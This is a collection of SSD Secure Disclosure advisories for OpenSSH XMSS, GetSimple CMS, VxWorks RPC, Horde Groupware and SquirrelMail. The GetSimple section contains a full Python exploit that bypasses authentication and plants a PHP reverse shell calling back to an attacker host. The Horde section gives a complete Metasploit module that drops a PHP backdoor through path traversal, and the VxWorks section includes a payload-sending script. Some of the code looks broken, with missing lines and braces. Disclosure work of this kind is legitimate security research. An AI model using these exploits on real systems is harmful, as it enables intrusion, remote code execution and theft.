SSD Advisory – OpenSSH Pre-Auth XMSS Integer Overflow

Vulnerability Summary
The following advisory describes a Pre-Auth Integer Overflow in the XMSS Key Parsing Algorithm in OpenSSH.
An independent Security Researcher, Adam “pi3” Zabrocki, has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
OpenSSH version 7.7 up to the latest one (8.0) supporting XMSS keys (compiled with a defined WITH_XMSS macro).
Nevertheless, the bug is only there when OpenSSH is compiled via a compiler with data model ILP64, LLP64 or ILP32 (e.g. any 32 bits systems).
Vendor Response
The vulnerability was fixed in OpenSSH version 8.1
Vulnerability Details


OpenSSH is a free version of the SSH connectivity tools which technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but in fact it is.
OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions.
OpenSSH supports several signing algorithms (for authentication keys) which can be divided in two groups depending on the mathematical properties they exploit:

  • DSA and RSA, which rely on the practical difficulty of factoring the product of two large prime numbers
  • ECDSA and Ed25519, which rely on the elliptic curve discrete logarithm problem

Elliptic curve cryptography (ECC) algorithms are a more recent addition to public key cryptosystems. One of their main advantages is their ability to provide the same level of security with smaller keys, which makes for less computationally intensive operations (i.e. faster key creation, encryption and decryption) and reduced storage and transmission requirements.
OpenSSH 7.7 add experimental support for PQC (Post Quantum Cryptography) XMSS keys (Extended Hash-Based Signatures) is designed to work in Post Quantum area. The code is not compiled in by default at this time.


The eXtended Merkle Signature Scheme (XMSS) is the latest stateful hash-based signature scheme. It has the smallest signatures out of such schemes and comes with a multi-tree variant that solves the problem of slow key generation.
Moreover, it can be shown that XMSS is secure, making only mild assumptions on the underlying hash function. Especially, it is not required that the cryptographic hash function is collision-resistant for the security of XMSS.
In contrast to traditional signature schemes, the signature schemes used in XMSS are stateful, meaning the secret key changes over time. If a secret key state is used twice, no cryptographic security guarantees remain. In consequence, it becomes feasible to forge a signature on a new message.

The Vulnerability

Integer Overflow vulnerability causing a memory corruption bug was found during process of parsing XMSS private key. This process requires taking into account previously saved “state”, if available. A function responsible for handling XMSS saved “states” is prone to a memory corruption via integer overflow vulnerability:

sshkey_xmss_decrypt_state(const struct sshkey *k, struct sshbuf *encoded,
   struct sshbuf **retp)
    struct sshbuf *copy = NULL, *decrypted = NULL;
    size_t keylen, ivlen, authlen, aadlen;
    u_int blocksize, encrypted_len, index;
    blocksize = cipher_blocksize(cipher);
    keylen = cipher_keylen(cipher);
    ivlen = cipher_ivlen(cipher);
    authlen = cipher_authlen(cipher);
    if ((copy = sshbuf_fromb(encoded)) == NULL ||
        (decrypted = sshbuf_new()) == NULL ||
        (iv = malloc(ivlen)) == NULL) {
        r = SSH_ERR_ALLOC_FAIL;
        goto out;
    if (sshbuf_len(encoded) < sizeof(XMSS_MAGIC) ||
    if ((r = sshbuf_consume(encoded, sizeof(XMSS_MAGIC))) != 0 ||
        (r = sshbuf_get_u32(encoded, &index)) != 0 ||
        (r = sshbuf_get_u32(encoded, &encrypted_len)) != 0)
        goto out;
    /* check size of encrypted key blob */
    if (encrypted_len < blocksize || (encrypted_len % blocksize) != 0) {
        goto out;
    /* check that an appropriate amount of auth data is present */
[1] if (sshbuf_len(encoded) < encrypted_len + authlen) {
        goto out;
    aadlen = sshbuf_len(copy) - sshbuf_len(encoded);
    /* decrypt private state of key */
[2] if ((r = sshbuf_reserve(decrypted, aadlen + encrypted_len, &dp)) != 0 ||
        (r = cipher_init(&ciphercontext, cipher, key, keylen,
        iv, ivlen, 0)) != 0 ||
[3]     (r = cipher_crypt(ciphercontext, 0, dp, sshbuf_ptr(copy),
        encrypted_len, aadlen, authlen)) != 0)
        goto out;
    /* there should be no trailing data */
    if ((r = sshbuf_consume(encoded, encrypted_len + authlen)) != 0)
        goto out;
    if (sshbuf_len(encoded) != 0) {
        goto out;
    /* remove AAD */
    if ((r = sshbuf_consume(decrypted, aadlen)) != 0)
        goto out;

If an attacker generates a state where ‘aadlen’ + ‘encrypted_len’ is bigger than INT_MAX, then it is possible to successfully pass verification at [1].
Additionally, if ‘authlen’ + ‘encrypted_len’ is also bigger than INT_MAX, then an integer overflow at [2] results in allocating a smaller buffer than desired.
Immediate overflow can happen at [3] where cipher_crypt() is called. This function operates as follows:

  • Copy ‘aadlen’ bytes (without en/decryption) from ‘src’ to ‘dest’.
  • Theses bytes are treated as additional authenticated data for authenticated encryption modes.
  • En/Decrypt ‘len’ bytes at offset ‘aadlen’ from ‘src’ to ‘dest’.
  • Use ‘authlen’ bytes at offset ‘len’+’aadlen’ as the authentication tag.
  • This tag is written on encryption and verified on decryption.

Because of the nature of cipher_crypt() function, it is possible to overflow a lot of useful data before a crash, because ‘copy’ is not being done in a 1 single shot but chunk-by-chunk during crypto operation. Nevertheless, it is not a trivial task.

Vectors of Attack

Any OpenSSH functionality which can parse private XMSS key is vulnerable. E.g. If ‘sshd’ daemon is configured to use an XMSS host key that is malformed, it will crash upon any attempt to connect to this server:

root@ubuntu:~/orig/openssh-8.0p1# gdb -q /root/orig/openssh-8.0p1/sshd
Reading symbols from /root/orig/openssh-8.0p1/sshd...done.
(gdb) r -d
Starting program: /root/orig/openssh-8.0p1/sshd -d
debug1: sshd version OpenSSH_8.0, OpenSSL 1.0.2g  1 Mar 2016
debug1: private host key #0: SHA256:vVBn0NvOCLKdVFT3CtEFxNHiEgJ1xXBhHdr/YXq5tGc
debug1: rexec_argv[0]='/root/orig/openssh-8.0p1/sshd'
debug1: rexec_argv[1]='-d'
debug1: Set /proc/self/oom_score_adj from 0 to -1000
debug1: Bind to port 65535 on
Server listening on port 65535.
debug1: Bind to port 65535 on ::.
Server listening on :: port 65535.
<Someone connects>
debug1: Server will not fork when running in debugging mode.
debug1: rexec start in 5 out 5 newsock 5 pipe -1 sock 8
process 8844 is executing new program: /root/orig/openssh-8.0p1/sshd
debug1: inetd sockets after dupping: 3, 3
Connection from port 39378 on port 65535
debug1: Local version string SSH-2.0-OpenSSH_8.0
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.0
debug1: match: OpenSSH_8.0 pat OpenSSH* compat 0x04000000
debug1: permanently_set_uid: 108/65534 [preauth]
debug1: list_hostkey_types: [preauth]
debug1: SSH2_MSG_KEXINIT sent [preauth]
debug1: SSH2_MSG_KEXINIT received [preauth]
debug1: kex: algorithm: curve25519-sha256 [preauth]
debug1: kex: host key algorithm: [preauth]
debug1: kex: client->server cipher: MAC: <implicit> compression: none [preauth]
debug1: kex: server->client cipher: MAC: <implicit> compression: none [preauth]
debug1: expecting SSH2_MSG_KEX_ECDH_INIT [preauth]
Program received signal SIGSEGV, Segmentation fault.
0xb7e40723 in ?? () from /lib/i386-linux-gnu/
(gdb) bt
#0  0xb7e40723 in ?? () from /lib/i386-linux-gnu/
#1  0x0e66e054 in ?? ()
#2  0xa2a4b21b in ?? ()
#195 0xca2d8e00 in ?? ()
#196 0xa442f816 in ?? ()
#197 0x0000d868 in ?? ()
#198 0x00000000 in ?? ()
(gdb) i r
eax            0xba	186
ecx            0xb0afbbd0	-1330660400
edx            0x4fa0c440	1335936064
ebx            0xb0ae4770	-1330755728
esp            0xbfffebcc	0xbfffebcc
ebp            0x4f0b80	0x4f0b80
esi            0x4f1e46	5185094
edi            0x4f0e96	5181078
eip            0xb7e40723	0xb7(gdb) e40723
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7e40723:	movups -0x10(%edx,%ecx,1),%xmm0

If someone configures ‘authorized_key’ to use XMSS public key and keep private key to be able to connect to the server, ‘ssh’ client will crash:

pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh -i ~/.ssh/id_xmss -p 65535 -oHostKeyAlgorithms="" -oPubkeyAcceptedKeyTypes="" -l test
verify:: idx = 20
Segmentation fault

If someone tries to add this key to ssh-agent, it will crash too:

pi3@ubuntu:~/orig/openssh-8.0p1$ rm -rf ~/.ssh/*
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-VEgZcFmzWZ2o/agent.8927; export SSH_AUTH_SOCK;
echo Agent pid 8928;
pi3@ubuntu:~/orig/openssh-8.0p1$ SSH_AUTH_SOCK=/tmp/ssh-VEgZcFmzWZ2o/agent.8927; export SSH_AUTH_SOCK;
pi3@ubuntu:~/orig/openssh-8.0p1$ SSH_AGENT_PID=8928; export SSH_AGENT_PID;
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-add -M 2
pi3@ubuntu:~/orig/openssh-8.0p1$ cp ~/p_key_bug/* ~/.ssh/
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-add -M 2
Segmentation fault

From the real world cases, many hosting services allow the user to upload user’s own pair of private/public keys for the authentication. Then it can be automatically consumed when creating new VMs. They need to parse it so an attacker can upload a malicious key and cause vulnerability during parsing process. Examples include Azure Key Vault, Amazon Key Management Service (KMS) or Cloud Key Management Service by Google Cloud. Any Key management service might be a vector of the attack.

SSD Advisory – GetSimple CMS Unauthenticated Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in GetSimple CMS which allows unauthenticated attackers to perform Remote Code Execution.
An independent Security Researcher, truerand0m, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
GetSimple CMS version 3.3.15 (Latest at the time of writing this post) and before.
Vendor Response
We have notified the vendor on the 21/1/2019 and sent few reminder emails but got no response from the vendor.
Vulnerability Details
An insufficient input sanitation is in the theme-edit.php file allows to upload files with arbitrary content (PHPcode for example). This vulnerability can be triggered by an authenticated user, however authentication can be bypassed.
According to the official installation documentation, specially, step 10, an admin is required to upload all the files, including the .htaccess files and run a health check.

However, what is overlooked is that Apache by default does not enable “allowoverride” directive anymore so we can expose passwords:


The problem is that the passwords are hashed so we need a way to bypass this issue. We can access the API key in:


What this allows us to do is target the session state, since they decided to roll their own implementation. Inside of admin/inc/configuration.php we see the following code:

$site_full_name     = 'GetSimple';
$site_version_no    = '3.3.15';
$name_url_clean     = lowercase(str_replace(' ','-',$site_full_name));
$ver_no_clean       = str_replace('.','',$site_version_no);
$site_link_back_url = '';
// cookie config
$cookie_name = lowercase($name_url_clean) .'_cookie_'. $ver_no_clean; // non-hashed name of cookie

The cookie_name is crafted information that can be leaked from the frontend (site name and version). Then, later in admin/inc/cookie_functions.php we can see the following code:

 * Check Login Cookie
 * @since 1.0
 * @uses $cookie_login
 * @uses cookie_check
 * @uses redirect
function login_cookie_check() {
    global $cookie_login;
    if(cookie_check()) {
    } else {
        $qstring = filter_queryString(array('id'));
        $redirect_url = $cookie_login.'?redirect='.myself(FALSE).'?'.$qstring;
function cookie_check() {
    global $USR,$SALT,$cookie_name;
    $saltUSR = $USR.$SALT;
    $saltCOOKIE = sha1($cookie_name.$SALT);
    if(isset($_COOKIE[$saltCOOKIE])&&$_COOKIE[$saltCOOKIE]==sha1($saltUSR)) {
        return TRUE; // Cookie proves logged in status.
    } else {
        return FALSE;
 * Create Cookie
 * @since 1.0
 * @uses $USR
 * @uses $SALT
 * @uses $cookie_time
 * @uses $cookie_name
function create_cookie() {
  global $USR,$SALT,$cookie_time,$cookie_name;
  $saltUSR    = sha1($USR.$SALT);
  $saltCOOKIE = sha1($cookie_name.$SALT);
  gs_setcookie('GS_ADMIN_USERNAME', $USR);
  gs_setcookie($saltCOOKIE, $saltUSR);
 * set a gs cookie
 * @since  3.3.5
 * @param  str $id    cookie id
 * @param  str $value value of cookie
 * @return bool       true if headers not sent
function gs_setcookie($id,$value){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    $expire = time() + $cookie_time;
    // debugLog('set cookie: '.implode(',',array($id, $value, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id, $value, $expire, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly);
 * Unset a gs cookie
 * @since  3.3.5
 * @param  str $id id of cookie
 * @return bool       true if headers not sent
function gs_unsetcookie($id){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    // debugLog('unset cookie: '.implode(',',array($id, false, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id,false,1,$cookie_path,$cookie_domain,$cookie_secure, $cookie_httponly);

If someone leaks the API key (44769f621e9b7db1bb19adbdf659b015) and the admin username (admin) then they can bypass authentication. To do so, they need to supply a cookie that is set to:
sha1(getsimple_cookie_3315 + 44769f621e9b7db1bb19adbdf659b015) = sha1(admin + 44769f621e9b7db1bb19adbdf659b015)
Cookie: GS_ADMIN_USERNAME {username};sha1(getsimple_cookie_{cmsversion}{salt})=sha1({username}{salt});
The vulnerability exists in the admin/theme-edit.php file. This file checks for forms submissions via POST request and for the CSRF nonce passed. If the nonce sent is correct then the file provided by the user is uploaded.

    # check for csrf
    if (!defined('GSNOCSRF') || (GSNOCSRF == FALSE) ) {
        $nonce = $_POST['nonce'];
        if(!check_nonce($nonce,"save")){ die("CSRF detected!"); }
    # save edited template file
    $SavedFile = $_POST['edited_file'];
    # [1]
    $fh = fopen(GSTHEMESPATH . $SavedFile, 'w') or die("can't open file");
    fwrite($fh, $FileContents);
    $success = sprintf(i18n_r('TEMPLATE_FILE'), $SavedFile);

The vulnerability is a path traversal allowing to write outside the jailed themes directory root. However, we don’t even need it due to the .htaccess assumption, we can write into the same directory to gain a shell.
The other issue here is that there isn’t another check on the extension before saving the file. The file is being saved with the assumption that the parameter `content` is safe. This allows the creation of web accessible and executable files with arbitrary content.

import re
import sys
import socket
import hashlib
import requests
import telnetlib
from threading import Thread
from xml.etree import ElementTree
class gscms_pwner:
    def __init__(self, target, path, username, cb_host, cb_port):  = target
        self.path    = path
        self.un      = username
        self.cb_host = cb_host
        self.cb_port = cb_port
        self.version = None
        self.apikey  = None
    def set_headers(self):
        self.h = {
            'Cookie': self.cookies
    def set_cookies(self):
        self.cookies = "GS_ADMIN_USERNAME=%s;%s=%s" % (self.un, self.get_cookie_name(), self.get_cookie_value())
    def get_cookie_name(self):
        cn = "getsimple_cookie_%s%s" % (self.version.replace(".", ""), self.apikey)
        sha1 = hashlib.sha1()
        return sha1.hexdigest()
    def get_cookie_value(self):
        cv = "%s%s" % (self.un, self.apikey)
        sha1 = hashlib.sha1()
        return sha1.hexdigest()
    def get_version(self):
        print "(+) fingerprinting the targets version"
        r = requests.get("http://%s%sadmin/index.php" % (, self.path))
        match ="jquery.getsimple.js\?v=(.*)\"", r.text)
        if match:
            self.version =
            print "(+) found version: %s" % self.version
            return True
        return False
    def check_htaccess(self):
        print "(+) checking .htaccess exposure..."
        r = requests.get("http://%s%sdata/other/authorization.xml" % (, self.path))
        if r.ok:
            tree = ElementTree.fromstring(r.content)
            self.apikey = tree[0].text
            print "(+) leaked key: %s" % self.apikey
            return True
        return False
    def check_username_disclosure(self):
        print "(+) no username provided, attempting username leak..."
        r = requests.get("http://%s%sdata/users/" % (, self.path))
        match ="href=\"(.*).xml\"", r.text)
        if match:
            self.un =
            print "(+) found username: %s" % self.un
            return True
        return False
    def get_nonce(self):
        r = requests.get("http://%s%sadmin/theme-edit.php" % (, self.path), headers=self.h)
        m ='nonce" type="hidden" value="(.*)"', r.text)
        if m:
            print("(+) obtained csrf nonce: %s" %
        return None
    def upload(self, fname, content):
            n = self.get_nonce()
            if n != None:
                    p = {
                        'submitsave': 2,
                        'edited_file': fname,
                        'content': content,
                        'nonce': n
                    r ="http://%s%sadmin/theme-edit.php" % (, self.path), headers=self.h, data=p)
                    if 'CSRF detected!' not in r.text:
                        print('(+) shell uploaded to http://%s%stheme/%s' % (, self.path, fname))
                        return True
                    else: print("(-) couldn't upload shell %s " % fname)
                except Exception as e:
            return False
    # build the reverse php shell
    def build_php_code(self):
        phpkode  = ("""
        @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
        phpkode += ("""$dis=@ini_get('disable_functions');""")
        phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
        phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
        phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
        phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
        phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
        phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
        phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
        phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
        phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
        phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
        phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
        phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
        phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
        phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
        phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
        phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
        phpkode += ("""$nofuncs='no exec functions'; """)
        phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
        phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (self.cb_host, self.cb_port))
        phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
        phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
        phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
        phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (self.cb_host, self.cb_port))
        phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
        phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
        phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
        phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
        phpkode += ("""}@socket_close($s);} """)
        return phpkode
    def handler(self):
        print "(+) starting handler on port %d" % self.cb_port
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("", self.cb_port))
        conn, addr = s.accept()
        print "(+) connection from %s" % addr[0]
        t.sock = conn
        print "(+) pop thy shell!"
    def exec_code(self):
        handlerthr = Thread(target=self.handler)
        requests.get("http://%s/%s/theme/poc.php" % (, self.path))
    def exploit(self):
        print "(+) targeting: http://%s%s" % (, self.path)
        if self.get_version():
            if self.check_htaccess():
                if self.un == None:
                    # requires directory listing
                self.upload('poc.php', "<?php %s" % self.build_php_code())
                print "(+) triggering connectback to: %s:%d" % (self.cb_host, self.cb_port)
            print "(-) invalid target uri!"
def main():
    if len(sys.argv) < 4:
        print "(+) usage: %s <target> <path> <connectback:port> [username]" % sys.argv[0]
        print "(+) eg: %s /" % sys.argv[0]
        print "(+) eg: %s /GetSimpleCMS-3.3.15/" % sys.argv[0]
        print "(+) eg: %s /GetSimpleCMS-3.3.15/ admin" % sys.argv[0]
    t = sys.argv[1]
    p = sys.argv[2]
    if not p.endswith("/"):
        p += "/"
    if not p.startswith("/"):
        p = "/%s" % p
    if ":" not in sys.argv[3]:
        cb_port = 4444
        cb_host = sys.argv[3]
        cb_port = sys.argv[3].split(":")[1]
        cb_host = sys.argv[3].split(":")[0]
        if not cb_port.isdigit():
            cb_port = 4444
            cb_port = int(cb_port)
    u = None
    if len(sys.argv) == 5:
        u = sys.argv[4]
    gp = gscms_pwner(t, p, u, cb_host, cb_port)
if __name__ == '__main__':

SSD Advisory – VxWorks RPC Buffer Overflow

Vulnerability Summary
The following advisory describes a vulnerability found in the Remote Procedure Call (RPC) component of the VxWorks real-time Opearting System, which suffers from a buffer overflow, this buffer overflow can be exploited to cause the component to execute arbitrary code.
An independent Security Researcher, Yu Zhou, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
VxWorks OS version 6.6
Vendor Response

“We’ve gone through our supported versions of VxWorks and found the versions affected are 6.9 before 6.9.1. We released the update to our customers today. Except in special circumstances, we only release statements and fixes for supported products. We know you found this vulnerability in an unsupported version of VxWorks. We won’t have a code update for that, but a mitigation is to disable CONFIG_RPC. This will be published in NVD as CVE-2019-9865. It should be public shortly. Thank you for working with us to resolve this problem. We hope to work with you in the future if you have found other vulnerabilities, and we may have other questions for you.”

Vulnerability Details
As previously mentioned, the vulnerability is inside the RPC component. The vulnerable function which contains the buffer overflow is _svcauth_unix. At _svcauth_unix + 0x67, will get the value 0xffffffff from the malicious packet (content will be viewed later).

Afterwards, in the cmp eax, 0FFh it will check whether the value (packet content size) is greater than 255 without considering the option of a negative value. The value 0xffffffff is used as the third parameter (nbytes) of the bcopy function, which will finaly cause a buffer overflow.

This is the packet that will be sent to the RPC Service:


import socket
host = ""
rpcPort = 111
f = open("pkt", 'rb') # pkt is the file which contains the payload to send.
data =
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, rpcPort))

SSD Advisory – Horde Groupware Webmail Authenticated Arbitrary File Injection to RCE

Vulnerabilities Summary
The following advisory discusses an arbitrary file injection vulnerability that leads to remote code execution in Horde Groupware Webmail. This vulnerability can be exploited by any authenticated, unprivileged user which able to create a malicious PHP file under the Horde web root and gain arbitrary code execution on the server. The vulnerability is located in the core Horde source code and has been proven exploitable with the installed default Turba address book component.
An independent security researcher, Ratiosec, has reported this vulnerability to SSD Secure Disclosur program.
Affected systems
The exploit has been proven working with the stable release Horde Groupware Webmail 5.2.22 and 5.2.17. Other versions may also be affected.
Vendor Response
“Here is the proposed fix for this vulnerability. It should be released in Horde_Form in a day or two.”

iff --git a/lib/Horde/Form/Type.php b/lib/Horde/Form/Type.php
index e92c790..f1e8157 100644
--- a/lib/Horde/Form/Type.php
+++ b/lib/Horde/Form/Type.php
@@ -1205,7 +1205,7 @@ class Horde_Form_Type_image extends Horde_Form_Type {
              /* Get the temp file if already one uploaded, otherwise create a
               * new temporary file. */
              if (!empty($upload['img']['file'])) {
-                $tmp_file = Horde::getTempDir() . '/' .
+                $tmp_file = Horde::getTempDir() . '/' .
              } else {
                  $tmp_file = Horde::getTempFile('Horde', false);

Vulnerability Details
The Horde file “Horde/Form/Type.php” contains the vulnerable class that handles the image upload in forms.
When the “Horde_Form_Type_image” method “onSubmit()” is called on uploads it invokes the functions “getImage()” and “_getUpload()”, which uses unsanitized user input as path to save the image.

The unsanitized POST parameter “object[photo][img][file]” is saved in the
“$upload[‘img’][‘file’]” PHP variable, allowing an attacker to manipulate the “$tmp_file” passed to “move_uploaded_file()” to save the uploaded file.
Set the parameter to e.g. “../usr/share/horde/static/bd.php” to write a PHP backdoor inside the web root. The “static/” destination folder is a good candidate to drop the backdoor because is always writable in Horde installations.
The unsanitized POST parameter went probably unnoticed because it’s never submitted by the forms which default to securely use a random path.
1) Log into the Horde Groupware Webmail as normal user.
2) Access the “New Contact” view via “Address Book” in the menu.
3) Create a PHP backdoor file on your disk.
4) Fill the mandatory fields submitting the PHP backdoor in the “Photo” file field. The file name is irrelevant.

5) Click the Add button and intercept the outgoing HTTP request using Burp Suite. You should see the POST data including the uploaded PHP backdoor.

6) Add the new POST field “object[photo][img][file]” with the path to traverse the temporary folder and save the PHP backdoor under the “static/” folder. Two path traversals have been found working in different installations:
A. ../usr/share/horde/static/bd.php , working with Horde installed with “apt-get”
B. ../var/www/html/horde/static/bd.php”, working with Horde manually installed with PEAR

7) Forward the request to the target server.
8) Use the uploaded PHP file to execute arbitrary commands.

PoC Code

# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  def initialize(info = {})
      'Name'            => 'Horde Turba File Upload Vulnerability',
      'Description'     => %q{
          Horde Groupware Webmail contains a flaw that allows an authenticated remote
          attacker to execute arbitrary PHP code. The exploitation requires the Turba
          subcomponent to be installed. This module was tested on versions 5.2.22 and 5.2.17.
      'License'         => MSF_LICENSE,
      'Author'          =>
          'Ratiosec', # Vulnerability Disclosure and module
      'References'      =>
      'DisclosureDate'  => 'Aug 17 2017',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [
    ['Automatic', { }],
    ['PEAR', { 'path': '/var/www/html/'}],
    ['Ubuntu', { 'path': '/usr/share/horde/' }],
      'DefaultTarget'   => 0
      ['TARGETURI',  [true, 'The base path to the web application', '/']),'USERNAME',   [true, 'The username to authenticate with']),'PASSWORD',   [true, 'The password to authenticate with'])
  def check
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    return Exploit::CheckCode::Unknown unless cookie
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, '/turba/add.php'),
      'cookie'      => cookie
    if res && res.code == 200
    if res.body.include?('Groupware 5.2.22') || res.body.include?('Groupware 5.2.17')
    return Exploit::CheckCode::Vulnerable
      return Exploit::CheckCode::Appears
  def username
  def password
  def horde_login(user, pass)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'login.php')
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    session_cookie = res.get_cookies
    vprint_status("Logging in...")
    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri, 'login.php'),
      'cookie'      => session_cookie,
      'vars_post'   => {
        'horde_user'  => user,
        'horde_pass'  => pass,
        'login_post'    => '1'
    return res.get_cookies if res && res.code == 302
  def get_tokens(cookie)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'turba', 'add.php'),
      'cookie'      => cookie
    if res && res.code == 200
      if res.body.scan /turba\/add\.php\?source=(.+)"/
          source_token = Regexp.last_match.to_a[1..-1].find{|x| x != "favourites" }
      if res.body =~ /name="turba_form_addcontact_formToken" value="(.+)"/
        form_token = Regexp.last_match[1]
        return source_token, form_token, res.get_cookies
  def exploit
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
    vprint_good("Authenticated to Horde.")
    tokens = get_tokens(cookie)
    fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
    source_token, form_token, secret_cookie = tokens
    vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
    targets[1..-1].each do |curr_target|
    if =~ /Automatic/ or curr_target == target
      payload_name = Rex::Text.rand_text_alpha_lower(10)
      payload_path = File.join(curr_target[:path], "static", "#{payload_name}.php")
      payload_path_traversal = File.join("..", payload_path)
      vprint_status("Preparing payload for target #{}...")
      data =
      data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
      data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
      data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
      data.add_part(source_token, nil, nil, 'form-data; name="source"')
      data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
      post_data = data.to_s
      vprint_status("Uploading payload to #{payload_path_traversal}")
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri, 'turba', 'add.php'),
        'ctype'     => "multipart/form-data; boundary=#{data.bound}",
        'data'      => post_data,
        'cookie'    => cookie + ' ' + secret_cookie
      fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
      payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
      vprint_status("Executing the payload at #{payload_url}.")
      res = send_request_cgi(
        'uri'     => payload_url,
        'method'  => 'GET'
      if res and res.code != 200
        vprint_bad("URL #{payload_url} hasn't been created or is not callable")

Install the module under ~/.msf4/modules/exploits/unix/webapp/horde_turba_file_upload.rb .
The module automatically exploits the Horde across different  configurations, both if manually installed with PEAR or with apt-get.

SquirrelMail – Incoming e-Mails Stored XSS

SquirrelMail allows to display HTML messages provided that non-safe fragments are redacted. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered.
A remote attacker can send a specially crafted e-mail containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable webmail interface when the user displays the message. This basically grants the attacker the same privileges of the authenticated victim, in particular this enables to (among other things): send e-mail messages on the behalf of the victim, fetch conversations from folders, delete or otherwise manage messages, log the victim out of SquirrelMail, etc.
It is likely that even prior versions are affected since this does not appear to be a regression but merely an insufficient implementation.
